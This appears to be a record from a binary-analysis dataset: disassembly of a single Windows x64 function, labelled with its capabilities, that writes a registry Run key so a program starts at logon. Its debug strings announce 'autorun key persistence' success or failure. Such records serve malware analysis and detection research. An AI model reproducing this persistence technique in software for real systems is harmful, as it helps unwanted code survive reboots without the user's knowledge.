Function at 0x140001554
Capabilities:
Print debug messages
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x150
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rbp + 0x40], rax
lea rcx, str.install_run_key_________________
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor ebx, ebx
movdqa xmm0, xmmword [0x140044eb0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x140044f20]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x140044ef0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x140044fe0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x140044d90]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x140045020]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x140044db0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x140044f10]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x140044f00]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x140045030]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x140044e50]
movdqa xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x30], 0x3f
lea r8d, [rbx + 0x2d]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.140005870
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r14d, ebx
test eax, eax
cmove r14, qword [rsp + 0x30]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test r14, r14
jne 0x14000169a
lea ebx, [r14 + 1]
jmp 0x1400017a5
lea r15, [0x14004e1e0]
or rdi, 0xffffffffffffffff
mov rsi, rdi
inc rsi
cmp word [r15 + rsi*2], bx
jne 0x1400016a8
add esi, esi
mov r8d, 0x1e
lea rdx, [0x14004bcb0]
lea rcx, [rsp + 0x60]
call fcn.140005870
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
inc rdi
cmp word [rdx + rdi*2], bx
jne 0x1400016dd
mov r8, rdi
lea rcx, [rsp + 0x40]
call fcn.14000261c
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000178e
mov rdi, qword [rsp + 0x38]
test rdi, rdi
je 0x140001791
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea eax, [rsi + 1]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r15
mov r9d, 1
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140001774
lea rcx, str.AUTORUN_KEY_PERSISTENCE_INSTALLED_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x140001791
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.AUTORUN_KEY_PERSISTENCE_FAILED_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ebx, 1
jmp 0x140001791
mov rdi, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x60]
call fcn.1400025b8
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x40]
call fcn.1400025b8
mov eax, ebx
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140010040
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret